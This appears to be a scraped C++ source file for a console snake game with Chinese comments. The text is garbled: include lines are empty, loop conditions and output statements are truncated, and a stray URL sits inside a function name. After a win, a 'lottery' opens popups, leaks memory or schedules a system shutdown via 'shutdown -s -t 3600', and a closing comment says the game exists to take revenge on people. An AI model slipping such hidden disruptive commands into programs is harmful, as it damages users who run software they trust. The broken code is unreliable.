//贪吃蛇大战HuangZhen
#include
#include
#include
#include
#include
#include
#define W 75//宽width74
#define E 20//长ength19
#define L 50//蛇最长长度long50
#define FL 9//食物长度
using namespace std;
class TCS
{
private:
int l;//蛇的长度
int F;//蛇的方向
int Score;
int Time;//刷新的次数
int Speed;
int Appear;//1则为出现食物,0则否
//食物的坐标
int x;
int y;
//蛇的坐标
int a[L],b[L];
//界面(包括蛇)
char S[W][E];
public:
TCS(int LL=2);
void SetTCS(int* m,int* n);//设置开始时的蛇
int Getl(){return l;}
int GetTime(){return Time;}
int GetSpeed(){return Speed;}
void Print();//输出
void GetF();//得到输入的方向
void MoveU();//上移
void MoveD();
void MoveL();
void MoveR();
void Move1();//蛇身的移动
void Move();//蛇的移动
bool IfDead();//蛇是否死亡
bool TCSAdd();//蛇加长
void FoodAppear();//食物出现
void Food();//设置食物
void Setxy();//设置食物坐标
};
TCS::TCS(int LL)
{
l=LL;
F=77;
Score=0;
Time=0;
Speed=3;
Appear=0;
}
void TCS::SetTCShttp://zzdxjyzd.com(int* m,int* n)
{
for(int i=0;i
{
a[i]=*(m+i);
b[i]=*(n+i);
}
for(int h=0;h
{
for(int g=0;g
{
S[g][h]=' ';
}
}
}
void TCS::Print()
{
int g,h;
for(h=0;h
{
for(g=0;g
{
S[g][h]=' ';
}
}
while(h!=-1){S[W-1][h]='|';h--;}//边界
while(g!=-1){S[g][E-1]='~';g--;}//边界
//食物出现
FoodAppear();
//对S[][]赋值
for(g=L-l;g
S[a[g]][b[g]]='*';//蛇身
S[a[L-1]][b[L-1]]='#';//蛇头
system("cls");//清屏幕
for(int y=0;y
{
for(int x=0;x
{
cout<
}
cout<
}
cout<<"得分:"<
}
void TCS::GetF()
{
if(kbhit())
{
getch();//方向键要用两个getch()
F=getch();
}
}
void TCS::MoveU()
{
Move1();
b[L-1]--;
}
void TCS::MoveD()
{
Move1();
b[L-1]++;
}
void TCS::MoveL()
{
Move1();
a[L-1]--;
}
void TCS::MoveR()
{
Move1();
a[L-1]++;
}
void TCS::Move1()//蛇身的移动
{
a[L-l-1]=a[L-l];
a[L-l-1]=b[L-l];//为了TCSAdd();记录蛇尾的上一步
for(int i=L-l;i
{
a[i]=a[i+1];
b[i]=b[i+1];
}
}
void TCS::Move()
{
switch(F)
{
case 72://上
if(b[L-1]>b[L-2])//判断不能向上移动的情况
MoveD();//继续向下
else
MoveU();//蛇头移动
break;
case 80://下
if(b[L-1]
MoveU();//继续向上
else
MoveD();
break;
case 75://左
if(a[L-1]>a[L-2])
MoveR();//继续向右
else
MoveL();
break;
case 77://右
if(a[L-1]
MoveL();//继续向左
else
MoveR();
break;
default:
break;
}
}
bool TCS::IfDead()
{
if(a[L-1]<0 || a[L-1]>=W-1 || b[L-1]<0 || b[L-1]>=E-1)
return true;
else if(S[a[L-1]][b[L-1]]=='|'|| S[a[L-1]][b[L-1]]=='~' || S[a[L-1]][b[L-1]]=='*')
return true;
else
return false;
}
bool TCS::TCSAdd()
{
if(S[a[L-1]][b[L-1]]!=' ')//因为第一次T.Print()蛇不死=先判断是否死了再到TCS();所以能用!=' '
{
l++;
a[L-l]=a[L-l+1];//将蛇尾的上一步赋给新加的蛇尾
b[L-l]=b[L-l+1];
Score++;
if(Score%Speed==0 && Speed!=1)
Speed--;
return true;
}
else
return false;
}
void TCS::FoodAppear()
{
Time++;
if(Time==Speed*10)//吃完后出现食物需要的时间
{
Setxy();
for(int Q=0;Q
{
if(S[x+Q][y]!=' ')
{
Setxy();
Q=0;
}
}
Appear=1;
}
if(Appear==1 && Time<=(Speed*1000))//Speed*1000-Speed*10停留时间
{
Food();
}
if(TCSAdd())
{
S[x][y]=' ';
Time=0;
Appear=0;
}
}
void TCS::Food()//如想修改食物,请统计食物有字符数然后将FL的值修改
{
S[x][y]='H';
S[x+1][y]='u';
S[x+2][y]='a';
S[x+3][y]='n';
S[x+4][y]='g';
S[x+5][y]='Z';
S[x+6][y]='h';
S[x+7][y]='e';
S[x+8][y]='n';
}
void TCS::Setxy()
{
srand(time(0));
x=rand()%(W-1-FL);//huangZhen9个字符
y=rand()%(E-1);//食物的随机坐标
}
int main()
{
TCS T(10);//输入初始长度
int x[L]={0},y[L]={0};
for(int i=0;i
x[L-T.Getl()+i]=i;
T.SetTCS(x,y);
while(1)
{
T.Print();//对蛇赋值
T.GetF();
if(T.GetTime()%T.GetSpeed()==0)
{
T.Move();
if(T.IfDead())//S[a[L-1]][b[L-1]]!=' '&& S[a[L-1]][b[L-1]]!='$'
{
cout<<"你玩完了!";
break;
}
}
if(T.Getl()==L)
{
cout<<"Victory!食物已经被吃光!"<
Z:
cout<<"你有一次抽奖的机会:(请输入你心中理想的数字0~9)"<
cin>>x[0];
if(x[0]>=0 && x[0]<=3)
{
for(int P=0;P<1;P++)//可更改1
system("start");//弹框
}
else if(x[0]>=4 && x[0]<=6)
{
for(int Q=0;Q<1;Q++)//可更改1
int *p=(int *)malloc(100);//malloc n.内存分配;卡内存;可更改100
}
else if(x[0]>=7 && x[0]<=9)
system("shutdown -s -t 3600");//-s是关机,-t是秒;3600秒后关机;//可更改3600
else
goto Z;
break;
}//此游戏用于报复对HuangZhen不满足的人^_^
}
return 0;
}